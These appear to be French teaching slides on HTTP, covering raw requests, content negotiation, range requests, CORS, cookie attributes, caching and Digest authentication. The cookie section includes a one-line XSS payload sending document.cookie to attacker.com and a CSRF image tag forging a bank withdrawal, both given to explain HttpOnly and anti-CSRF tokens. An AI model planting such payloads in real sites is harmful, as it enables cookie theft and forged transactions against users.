HTTP à la main
Connexion à http://neverssl.com
➜ ~ host neverssl.com
neverssl.com has address 52.85.74.244
➜ ~ telnet 52.85.74.244 80
Trying 52.85.74.244...
Connected to 52.85.74.244.
Escape character is '^]'.
GET / HTTP/1.1
Host: neverssl.com
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 2536
Date: Sat, 18 Aug 2018 21:13:03 GMT
...
<html>...
ou plus simplement...
curl -I -v -XGET http://neverssl.com/
Négociation de contenu
Navigateur demandant une page web
GET / HTTP/1.1
Host: www.exemple.org
Accept: text/html; q=1.0, text/*; q=0.8, image/gif; q=0.6, image/jpeg; q=0.6, image/*; q=0.5, */*; q=0.1
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Accept-Encoding: gzip,deflate
Accept-Language: fr-FR; q=1.0, en; q=0.5
...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 25719
Content-type: text/html; charset=UTF-8
Content-Language: en-US
...
q est un « facteur de qualité relatif » (priorité), cf RFC2616.
Négociation de contenu
Client d’API REST
GET /shops/all/address HTTP/1.1
Host: www.exemple.org
Accept: application/json; q=1.0, text/xml; q=0.8
Accept-Charset: ISO-8859-1,utf-8; q=0.7, *; q=0.3
Accept-Encoding: gzip,deflate
Accept-Language: fr-FR; q=1.0, en; q=0.5
...
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 25719
Content-type: application/json; charset=utf-8
Content-Language: en-US
...
Requête et réponse partielle
HEAD /2390/2253727548_a413c88ab3_s.jpg HTTP/1.1
Host: farm3.static.flickr.com
HTTP/1.0 200 OK
Date: Mon, 05 May 2008 00:33:14 GMT
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Length: 3980
Content-Type: image/jpeg
GET /2390/2253727548_a413c88ab3_s.jpg HTTP/1.1
Host: farm3.static.flickr.com
Range: bytes=0-999
HTTP/1.0 206 Partial Content
Date: Mon, 05 May 2008 00:36:57 GMT
Server: Apache/2.0.52 (Red Hat)
Accept-Ranges: bytes
Content-Length: 1000
Content-Range: bytes 0-999/3980
Content-Type: image/jpeg
...
Utilisé pour reprendre les téléchargements ou pour les médias (audio, vidéo, exemple)
Cross-Origin Resource Sharing
1. Requêtes simples
GET, HEAD, POST sous certaines conditions
Depuis inside.com/index.html, je souhaite appeler outside.com/file.json
GET /file.json HTTP/1.1
Host: outside.com
Accept: text/html;q=0.9,*/*;q=0.8
Referer: http://inside.com/index.html
Origin: http://inside.com
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://inside.com
Content-Type: application/json
[json data]
Sans l’entête Access-Control-Allow-Origin, le navigateur bloquera le contenu (notez que le serveur a servi sa réponse).
Cross-Origin Resource Sharing
2. Requêtes complexes nécessitant une requête préliminaire (preflight)
PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH ou si certains entêtes/valeurs
Le navigateur envoie une requête préliminaire (preflight)
OPTIONS /resource/ HTTP/1.1
Host: outside.com
Referer: http://inside.com/form.html
Origin: http://inside.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://inside.com
Access-Control-Allow-Methods: PUT, GET
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400
Content-Length: 0
Le serveur autorise le verbe PUT et les entêtes spéciaux, le navigateur envoie alors la vraie requête
Les Cookies : attributs facultatifs
- un nom de domaine (pour permettre le "cross-subdomain"),
- un chemin,
- date d'expiration (cookie de « session » sans),
- Flag secure (non transmis sans TLS)
- Flag HttpOnly (invisible pour JavaScript)
Exemples
Set-Cookie: LSID=DQA…mvYg; Domain=docs.foo.com; Path=/accounts; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQ…rdst; Domain=.foo.com; Path=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; HttpOnly
secure et HttpOnly sont très important contre le vol de cookie.
Vol de cookie (cookie hijacking)
Cross-Site Scripting (XSS)
Un attaquant poste cela sur un site :
<a href="" onclick="location='//attacker.com/?cookie='+document.cookie">hello</a>
D’où l’intérêt du flag HttpOnly.
Cross-Site Request Forgery (CSRF)
Un attaquant poste cela sur un site :
<img src="//bank.com/withdraw?amount=100&for=attacker">
Pour l’éviter, le serveur doit envoyer un jeton unique et aléatoire avant chaque requête « importante ». Le client doit obligatoirement le retransmettre dans la requête suivante.
Cache : Last-Modified et requête conditionnelle
GET /logo.png HTTP/1.1
...
HTTP/1.1 200 OK
Date: Mon, 03 Sep 2012 15:05:20 GMT
Expires: Mon, 03 Sep 2012 15:05:20 GMT
Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT
...
Second appel
GET /logo.png HTTP/1.1
If-Modified-Since: Mon, 02 Apr 2012 02:13:37 GMT
...
HTTP/1.1 304 Not Modified
Date: Mon, 03 Sep 2012 15:07:07 GMT
Expires: Mon, 03 Sep 2012 15:07:07 GMT
...
Authenfication Digest
HTTP/1.1 401 Authorization Required
WWW-Authenticate: Digest realm="[email protected]",
qop="auth, auth-int",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
opaque="5ccc069c403ebaf9f0171e9517f40e41"
Content-type: text/html
...
GET /private/index.html HTTP/1.1
Host: www.exemple.org
Authorization: Digest username="paulgreg",
realm="[email protected]",
nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
uri="/private/index.html",
qop=auth,
nc=00000001,
cnonce="0a4f113b",
response="6629fae49393a05397450978507c4ef1",
opaque="5ccc069c403ebaf9f0171e9517f40e41"
